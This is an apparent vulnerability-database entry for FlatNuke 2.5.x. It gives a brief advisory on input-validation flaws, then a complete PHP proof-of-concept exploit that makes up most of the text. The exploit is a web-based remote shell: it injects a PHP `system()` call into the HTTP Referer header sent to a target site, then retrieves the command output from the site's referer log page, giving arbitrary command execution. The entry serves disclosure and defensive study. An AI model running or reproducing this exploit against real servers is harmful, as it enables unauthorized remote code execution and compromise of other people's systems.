FlatNuke 2.5.x - referer.php Crafted Referer Arbitrary PHP Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType
FlatNuke 2.5.x referer.php Arbitrary PHP Code Executio

                                                source: http://www.securityfocus.com/bid/13882/info
  
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
  
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. 

&#60;?php
/*

  Flatnuke 2.5.3 Arbitrary Remote Command Injection Shell PoC
  
  Description: A simple PHP PoC script yielding a virtual remote shell
  Advisory: http://secwatch.org/advisories/secwatch/20050604_flatnuke.txt
  Original: http://secwatch.org/exploits/2005/06/flatnuke_shell.php.info
  Fixed version: FlatNuke 2.5.3
  Author: SW [at] secwatch [dot] co [dot] uk
  
  References:
  http://flatnuke.sourceforge.net/index.php?mod=read&id=1117979256

*/


/* start session */
session_start();
  
/* initialise session variables. */
if (empty($_SESSION[&#39;output&#39;]) || !empty($_POST[&#39;reset&#39;])) {
  $_SESSION[&#39;history&#39;] = array();
  $_SESSION[&#39;output&#39;] = &#39;&#39;;
  $_SESSION[&#39;cmdcnt&#39;] = 0;
  $_SESSION[&#39;cwd&#39;] = &#39;/&#39;;
  for($len=8,$r=&#39;&#39;; strlen($r)&#60;$len; $r.=chr(!mt_rand(0,2)? mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand (97,122))));
  $_SESSION[&#39;rand&#39;] = $r; // rand string for this session only
}
  
if (!empty($_POST[&#39;CMD&#39;])) {
  if (get_magic_quotes_gpc()) {
    $_POST[&#39;CMD&#39;] = stripslashes($_POST[&#39;CMD&#39;]);
  }

  /* save current command in */
  if (($i = array_search($_POST[&#39;CMD&#39;], $_SESSION[&#39;history&#39;])) !== false)
    unset($_SESSION[&#39;history&#39;][$i]);
    
  array_unshift($_SESSION[&#39;history&#39;], $_POST[&#39;CMD&#39;]);
  $_SESSION[&#39;output&#39;] .= &#39;$ &#39; . $_POST[&#39;CMD&#39;] . &#34;\n&#34;;
}

/* initialise current directory. */
if (ereg(&#39;^[[:blank:]]*cd[[:blank:]]*$&#39;, $_POST[&#39;CMD&#39;])) {
  $_SESSION[&#39;cwd&#39;] = dirname(__FILE__);
} else if (ereg(&#39;^[[:blank:]]*cd[[:blank:]]+([^;]+)$&#39;, $_POST[&#39;CMD&#39;], $regs)) {
  if ($regs[1][0] == &#39;/&#39;) {
    $new_dir = $regs[1]; /* absolute path */
  } else {
    $new_dir = $_SESSION[&#39;cwd&#39;] . &#39;/&#39; . $regs[1];/* relative path */
  }
  while (strpos($new_dir, &#39;/./&#39;) !== false) $new_dir = str_replace(&#39;/./&#39;, &#39;/&#39;, $new_dir); /* transform &#39;/./&#39; into &#39;/&#39; */
  while (strpos($new_dir, &#39;//&#39;) !== false) $new_dir = str_replace(&#39;//&#39;, &#39;/&#39;, $new_dir); /* transform &#39;//&#39; into &#39;/&#39; */
  while (preg_match(&#39;|/\.\.(?!\.)|&#39;, $new_dir)) $new_dir = preg_replace(&#39;|/?[^/]+/\.\.(?!\.)|&#39;, &#39;&#39;, $new_dir); /* transform &#39;x/..&#39; into &#39;&#39; */
  $_SESSION[&#39;cwd&#39;] = ($new_dir == &#39;&#39;) ? &#34;/&#34; : $new_dir;
}

/* build the command history */
if (empty($_SESSION[&#39;history&#39;])) {
  $js_command_hist = &#39;&#34;&#34;&#39;;
} else {
  $escaped = array_map(&#39;addslashes&#39;, $_SESSION[&#39;history&#39;]);
  $js_command_hist = &#39;&#34;&#34;, &#34;&#39; . implode(&#39;&#34;, &#34;&#39;, $escaped) . &#39;&#34;&#39;;
}
?&#62;

&#60;html&#62;
 &#60;head&#62;
  &#60;title&#62;FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC&#60;/title&#62;
  &#60;script type=&#34;text/javascript&#34; language=&#34;JavaScript&#34;&#62;
  var current_line = 0;
  var command_hist = new Array(&#60;?php echo $js_command_hist ?&#62;);
  var last = 0;

  function key(e) {
    if (!e) var e = window.event;

    if (e.keyCode == 38 && current_line &#60; command_hist.length-1) {
      command_hist[current_line] = document.shell.CMD.value;
      current_line++;
      document.shell.CMD.value = command_hist[current_line];
    }

    if (e.keyCode == 40 && current_line &#62; 0) {
      command_hist[current_line] = document.shell.CMD.value;
      current_line--;
      document.shell.CMD.value = command_hist[current_line];
    }
  }

  function init() {
    document.shell.setAttribute(&#34;autocomplete&#34;, &#34;off&#34;);
    document.shell.output.scrollTop = document.shell.output.scrollHeight;
    document.shell.CMD.focus();
  }
  &#60;/script&#62;  
  &#60;style&#62;
  textarea { 
    border: none;
    width: 100%;
    padding: 2px 2px 0px;
  }
  div {
    border: inset 2px white;
  } 
  p.prompt {
    font-family: monospace;
    margin: 0px;
    padding: 0px 2px 2px;
  }
  input.prompt {
    border: none;
    font-family: monospace;
  }   
  &#60;/style&#62;
 &#60;/head&#62;
 &#60;body onload=&#34;init()&#34;&#62;
   &#60;p align=&#34;center&#34;&#62;&#60;center&#62;&#60;h2&#62;FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC&#60;/h2&#62;&#60;/center&#62;&#60;/p&#62;&#60;br /&#62;
   &#60;form name=&#34;shell&#34; method=&#34;POST&#34; action=&#34;&#60;? echo $_SERVER[&#39;PHP_SELF&#39;] ?&#62;&#34;&#62;
     &#60;table&#62;
       &#60;tr&#62;
         &#60;td&#62;Host+Path:&#60;/td&#62;
         &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;URL&#34; size=&#34;35&#34; value=&#34;&#60;? echo $_POST[&#39;URL&#39;] ?&#62;&#34; /&#62; (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)&#60;br /&#62;&#60;/td&#62;
       &#60;tr&#62;
       &#60;tr&#62;
         &#60;td&#62;Directory:&#60;/td&#62;
         &#60;td&#62;&#60;?php echo $_SESSION[&#39;cwd&#39;]; ?&#62;&#60;/td&#62;
       &#60;tr&#62;
     &#60;/table&#62;
     &#60;div&#62;
   
&#60;?php
/* tidy up request / set some defaults if not provided */
$urlbits = parse_url($_POST[&#39;URL&#39;]);
$host = ($urlbits[&#39;host&#39;] != &#34;&#34;) ? $urlbits[&#39;host&#39;] : &#34;&#34;;
$port = ($urlbits[&#39;port&#39;] != &#34;&#34;) ? $urlbits[&#39;port&#39;] : 80;
$path = ($urlbits[&#39;path&#39;] != &#34;&#34;) ? $urlbits[&#39;path&#39;] : &#34;/flatnuke/&#34;;
$quer = ($urlbits[&#39;query&#39;] != &#34;&#34;) ? &#34;?&#34;.$urlbits[&#39;query&#39;] : &#34;&#34;;
$cmd = ($_POST[&#39;CMD&#39;] != &#34;&#34;) ? addslashes(&#34;cd {$_SESSION[&#39;cwd&#39;]} && &#34;.$_POST[&#39;CMD&#39;]) : &#34;&#34;;
$reflog = $path.&#34;misc/flatstat/referer.php&#34;;
$int = $_SESSION[&#39;cmdcnt&#39;]++;
$referer = &#34;http://noneexistantsite.com/?s{$_SESSION[&#39;rand&#39;]}$int=&#60;?php system(\&#34;$cmd\&#34;)?&#62;&e{$_SESSION[&#39;rand&#39;]}$int&#34;;

/* ensure all required vars are present */
if (isset($_POST[&#39;URL&#39;]) && $host != &#34;&#34; && $cmd != &#34;&#34;) { 

  /* connect to target */
  if (!$fp = fsockopen($host, $port, $errno, $errstr)) {
    echo &#34;Cound not connect to &#60;i&#62;$host&#60;/i&#62; ($errstr - $errno)&#60;br/&#62;\n&#34;;
  } else {
    /* make HTTP request */
    fputs($fp, &#34;GET $path.$quer HTTP/1.1\r\n&#34;);
    fputs($fp, &#34;Host: $host\r\n&#34;);
    fputs($fp, &#34;Referer: $referer\r\n&#34;);
    fputs($fp, &#34;Connection: close\r\n\r\n&#34;);
    fclose($fp);
    usleep(150000);
  
    /* retrieve command output */
    if ($result = file_get_contents(&#34;http://$host:$port$reflog&#34;)) {

      /* strip other irrelevant referer information */
      $trim = str_replace(&#34;http://noneexistantsite.com/?s{$_SESSION[&#39;rand&#39;]}$int=&#34;, &#34;&#34;, stristr($result, &#34;http://noneexistantsite.com/?s{$_SESSION[&#39;rand&#39;]}$int=&#34;));
      $trim = str_replace(stristr($trim, &#34;&e{$_SESSION[&#39;rand&#39;]}$int&#34;), &#34;&#34;, $trim);

      /* display trimmed command output */
      $_SESSION[&#39;output&#39;] .= htmlspecialchars($trim);
    }
  }
}
?&#62;

   &#60;textarea name=&#34;output&#34; readonly=&#34;readonly&#34; cols=&#34;90&#34; rows=&#34;30&#34;&#62;
&#60;?php
$lines = substr_count($_SESSION[&#39;output&#39;], &#34;\n&#34;);
$padding = str_repeat(&#34;\n&#34;, max(0, 36 - $lines));
echo rtrim($padding . $_SESSION[&#39;output&#39;]);
?&#62;
   &lt;/textarea&gt;
   &#60;p class=&#34;prompt&#34;&#62;
     $&nbsp;&#60;input class=&#34;prompt&#34; type=&#34;text&#34; name=&#34;CMD&#34; size=&#34;78&#34; onkeyup=&#34;key(event)&#34; tabindex=&#34;1&#34; /&#62;
   &#60;/p&#62;
   &#60;/div&#62;&#60;br /&#62;&#60;br /&#62;
   &#60;input type=&#34;submit&#34; value=&#34;Execute&#34; /&#62; &#60;input type=&#34;submit&#34; name=&#34;reset&#34; value=&#34;Reset&#34; /&#62;
   &#60;/form&#62;
 &#60;/body&#62;
&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1